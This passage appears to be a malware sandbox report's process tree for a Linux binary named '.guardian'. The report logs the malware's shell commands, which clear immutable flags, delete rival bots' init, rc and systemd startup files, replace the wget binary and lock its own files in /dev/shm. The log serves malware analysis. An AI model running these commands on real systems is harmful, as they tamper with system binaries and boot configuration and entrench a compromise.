                                                                                                                                                                                                                                                                                                                                                                                                                                            • Removes the immutable protection flag from a file
                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1400
                                                                                                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                            rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler "/etc/systemd/system/*chud*.service" "/etc/systemd/system/*tengu*.service" /tmp/.up /tmp/.proxy.pid /dev/shm/.journal
                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1401
                                                                                                                                                                                                                                                                                                                                                                                                                                            • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                              rm -f "/etc/rc2.d/S*tengu" "/etc/rc2.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1402
                                                                                                                                                                                                                                                                                                                                                                                                                                              • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                rm -f "/etc/rc3.d/S*tengu" "/etc/rc3.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1403
                                                                                                                                                                                                                                                                                                                                                                                                                                                • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                  rm -f "/etc/rc4.d/S*tengu" "/etc/rc4.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1404
                                                                                                                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                    rm -f "/etc/rc5.d/S*tengu" "/etc/rc5.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1405
                                                                                                                                                                                                                                                                                                                                                                                                                                                  • /bin/sh
                                                                                                                                                                                                                                                                                                                                                                                                                                                    sh -c "rm -f /root/.cling /usr/local/bin/.cling; for d in /bin /usr/bin /sbin /usr/sbin /usr/local/bin; do if [ -f \$d/wget.p ]; then R=\$(cat \$d/wget.p 2>/dev/null); if [ -n \"\$R\" ] && [ -x \"\$R\" ]; then rm -f \$d/wget; cp -f \"\$R\" \$d/wget; chmod 755 \$d/wget; else for bb in /bin/busybox /usr/bin/busybox /sbin/busybox; do if [ -x \$bb ]; then rm -f \$d/wget; ln -sf \$bb \$d/wget; break; fi; done; fi; fi; rm -f \$d/wget.p \$d/wget.r; done; for f in /etc/inittab /etc/init.d/rcS /etc/rc.d/rc.boot; do if [ -f \$f ] && grep -q '\\.cling' \$f 2>/dev/null; then grep -v '\\.cling' \$f > \$f.tmp 2>/dev/null; if [ -f \$f.tmp ]; then cat \$f.tmp > \$f; fi; rm -f \$f.tmp; fi; done 2>/dev/null"
                                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                    • File and Directory Permissions Modification
                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1406
                                                                                                                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                      rm -f /root/.cling /usr/local/bin/.cling
                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1407
                                                                                                                                                                                                                                                                                                                                                                                                                                                      • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                        rm -f /bin/wget.p /bin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1408
                                                                                                                                                                                                                                                                                                                                                                                                                                                        • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                          rm -f /usr/bin/wget.p /usr/bin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1409
                                                                                                                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                            rm -f /sbin/wget.p /sbin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1410
                                                                                                                                                                                                                                                                                                                                                                                                                                                            • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                              rm -f /usr/sbin/wget.p /usr/sbin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1411
                                                                                                                                                                                                                                                                                                                                                                                                                                                              • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                rm -f /usr/local/bin/wget.p /usr/local/bin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1412
                                                                                                                                                                                                                                                                                                                                                                                                                                                              • /bin/sh
                                                                                                                                                                                                                                                                                                                                                                                                                                                                sh -c "chattr +i /dev/shm/.guardian /dev/shm/.grd1an 2>/dev/null"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1413
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/chattr
                                                                                                                                                                                                                                                                                                                                                                                                                                                                    chattr +i /dev/shm/.guardian /dev/shm/.grd1an
                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1414
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • /bin/sh
                                                                                                                                                                                                                                                                                                                                                                                                                                                                    sh -c "chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler 2>/dev/null; rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler /etc/systemd/system/*chud*.service /etc/systemd/system/*tengu*.service /tmp/.up /tmp/.proxy.pid /dev/shm/.journal 2>/dev/null; for i in 2 3 4 5; do rm -f /etc/rc\$i.d/S*tengu /etc/rc\$i.d/S*chud*; done 2>/dev/null"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • Removes the immutable protection flag from a file
                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1501
                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/chattr
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1502
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler "/etc/systemd/system/*chud*.service" "/etc/systemd/system/*tengu*.service" /tmp/.up /tmp/.proxy.pid /dev/shm/.journal
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1503
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                          rm -f "/etc/rc2.d/S*tengu" "/etc/rc2.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1504
                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            rm -f "/etc/rc3.d/S*tengu" "/etc/rc3.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1505
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              rm -f "/etc/rc4.d/S*tengu" "/etc/rc4.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1506
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                rm -f "/etc/rc5.d/S*tengu" "/etc/rc5.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1507
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • /bin/sh
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                sh -c "rm -f /root/.cling /usr/local/bin/.cling; for d in /bin /usr/bin /sbin /usr/sbin /usr/local/bin; do if [ -f \$d/wget.p ]; then R=\$(cat \$d/wget.p 2>/dev/null); if [ -n \"\$R\" ] && [ -x \"\$R\" ]; then rm -f \$d/wget; cp -f \"\$R\" \$d/wget; chmod 755 \$d/wget; else for bb in /bin/busybox /usr/bin/busybox /sbin/busybox; do if [ -x \$bb ]; then rm -f \$d/wget; ln -sf \$bb \$d/wget; break; fi; done; fi; fi; rm -f \$d/wget.p \$d/wget.r; done; for f in /etc/inittab /etc/init.d/rcS /etc/rc.d/rc.boot; do if [ -f \$f ] && grep -q '\\.cling' \$f 2>/dev/null; then grep -v '\\.cling' \$f > \$f.tmp 2>/dev/null; if [ -f \$f.tmp ]; then cat \$f.tmp > \$f; fi; rm -f \$f.tmp; fi; done 2>/dev/null"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • File and Directory Permissions Modification
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1508
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  rm -f /root/.cling /usr/local/bin/.cling
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1509
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    rm -f /bin/wget.p /bin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1510
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      rm -f /usr/bin/wget.p /usr/bin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1511
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        rm -f /sbin/wget.p /sbin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1512
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          rm -f /usr/sbin/wget.p /usr/sbin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1513
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            rm -f /usr/local/bin/wget.p /usr/local/bin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1514
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • /bin/sh
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            sh -c "chattr +i /dev/shm/.guardian /dev/shm/.grd1an 2>/dev/null"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1515
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • /usr/bin/chattr
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                chattr +i /dev/shm/.guardian /dev/shm/.grd1an
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1516
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • /tmp/.guardian
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              .guardian vps
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • Modifies Watchdog functionality
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • Creates/modifies Cron job
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • Enumerates active TCP sockets
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • Modifies init.d
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • Modifies rc script
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • Modifies systemd
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • Changes its process name
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • Reads system network configuration
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • Reads runtime system information
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • Writes file to shm directory
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • Writes file to tmp directory
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:942
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • /bin/sh
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                sh -c "chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler 2>/dev/null; rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler /etc/systemd/system/*chud*.service /etc/systemd/system/*tengu*.service /tmp/.up /tmp/.proxy.pid /dev/shm/.journal 2>/dev/null; for i in 2 3 4 5; do rm -f /etc/rc\$i.d/S*tengu /etc/rc\$i.d/S*chud*; done 2>/dev/null"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:959
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/chattr
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:960
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler "/etc/systemd/system/*chud*.service" "/etc/systemd/system/*tengu*.service" /tmp/.up /tmp/.proxy.pid /dev/shm/.journal
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:961
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        rm -f "/etc/rc2.d/S*tengu" "/etc/rc2.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:962
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          rm -f "/etc/rc3.d/S*tengu" "/etc/rc3.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:963
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            rm -f "/etc/rc4.d/S*tengu" "/etc/rc4.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:964
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              rm -f "/etc/rc5.d/S*tengu" "/etc/rc5.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:965
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • /bin/sh
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              sh -c "rm -f /root/.cling /usr/local/bin/.cling; for d in /bin /usr/bin /sbin /usr/sbin /usr/local/bin; do if [ -f \$d/wget.p ]; then R=\$(cat \$d/wget.p 2>/dev/null); if [ -n \"\$R\" ] && [ -x \"\$R\" ]; then rm -f \$d/wget; cp -f \"\$R\" \$d/wget; chmod 755 \$d/wget; else for bb in /bin/busybox /usr/bin/busybox /sbin/busybox; do if [ -x \$bb ]; then rm -f \$d/wget; ln -sf \$bb \$d/wget; break; fi; done; fi; fi; rm -f \$d/wget.p \$d/wget.r; done; for f in /etc/inittab /etc/init.d/rcS /etc/rc.d/rc.boot; do if [ -f \$f ] && grep -q '\\.cling' \$f 2>/dev/null; then grep -v '\\.cling' \$f > \$f.tmp 2>/dev/null; if [ -f \$f.tmp ]; then cat \$f.tmp > \$f; fi; rm -f \$f.tmp; fi; done 2>/dev/null"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • File and Directory Permissions Modification
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:966
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                rm -f /root/.cling /usr/local/bin/.cling
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:967
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  rm -f /bin/wget.p /bin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:968
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    rm -f /usr/bin/wget.p /usr/bin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:969
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      rm -f /sbin/wget.p /sbin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:970
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        rm -f /usr/sbin/wget.p /usr/sbin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:971
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          rm -f /usr/local/bin/wget.p /usr/local/bin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:972
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • /bin/sh
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          sh -c "chattr +i /dev/shm/.guardian /dev/shm/.grd1an 2>/dev/null"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:973
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • /usr/bin/chattr
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              chattr +i /dev/shm/.guardian /dev/shm/.grd1an
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • Removes the immutable protection flag from a file
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:974
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • /bin/sh
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            sh -c "chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler 2>/dev/null; rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler /etc/systemd/system/*chud*.service /etc/systemd/system/*tengu*.service /tmp/.up /tmp/.proxy.pid /dev/shm/.journal 2>/dev/null; for i in 2 3 4 5; do rm -f /etc/rc\$i.d/S*tengu /etc/rc\$i.d/S*chud*; done 2>/dev/null"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1095
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • /usr/bin/chattr
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • Removes the immutable protection flag from a file
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1096
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler "/etc/systemd/system/*chud*.service" "/etc/systemd/system/*tengu*.service" /tmp/.up /tmp/.proxy.pid /dev/shm/.journal
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1097
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  rm -f "/etc/rc2.d/S*tengu" "/etc/rc2.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1098
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    rm -f "/etc/rc3.d/S*tengu" "/etc/rc3.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1099
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      rm -f "/etc/rc4.d/S*tengu" "/etc/rc4.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1100
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        rm -f "/etc/rc5.d/S*tengu" "/etc/rc5.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1101
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • /bin/sh
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        sh -c "rm -f /root/.cling /usr/local/bin/.cling; for d in /bin /usr/bin /sbin /usr/sbin /usr/local/bin; do if [ -f \$d/wget.p ]; then R=\$(cat \$d/wget.p 2>/dev/null); if [ -n \"\$R\" ] && [ -x \"\$R\" ]; then rm -f \$d/wget; cp -f \"\$R\" \$d/wget; chmod 755 \$d/wget; else for bb in /bin/busybox /usr/bin/busybox /sbin/busybox; do if [ -x \$bb ]; then rm -f \$d/wget; ln -sf \$bb \$d/wget; break; fi; done; fi; fi; rm -f \$d/wget.p \$d/wget.r; done; for f in /etc/inittab /etc/init.d/rcS /etc/rc.d/rc.boot; do if [ -f \$f ] && grep -q '\\.cling' \$f 2>/dev/null; then grep -v '\\.cling' \$f > \$f.tmp 2>/dev/null; if [ -f \$f.tmp ]; then cat \$f.tmp > \$f; fi; rm -f \$f.tmp; fi; done 2>/dev/null"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • File and Directory Permissions Modification
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1102
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          rm -f /root/.cling /usr/local/bin/.cling
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1103
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            rm -f /bin/wget.p /bin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1104
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              rm -f /usr/bin/wget.p /usr/bin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1105
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                rm -f /sbin/wget.p /sbin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1106
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  rm -f /usr/sbin/wget.p /usr/sbin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1107
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    rm -f /usr/local/bin/wget.p /usr/local/bin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1108
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • /bin/sh
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    sh -c "chattr +i /dev/shm/.guardian /dev/shm/.grd1an 2>/dev/null"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1109
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • /usr/bin/chattr
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        chattr +i /dev/shm/.guardian /dev/shm/.grd1an
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • Removes the immutable protection flag from a file
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1110
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • /bin/sh
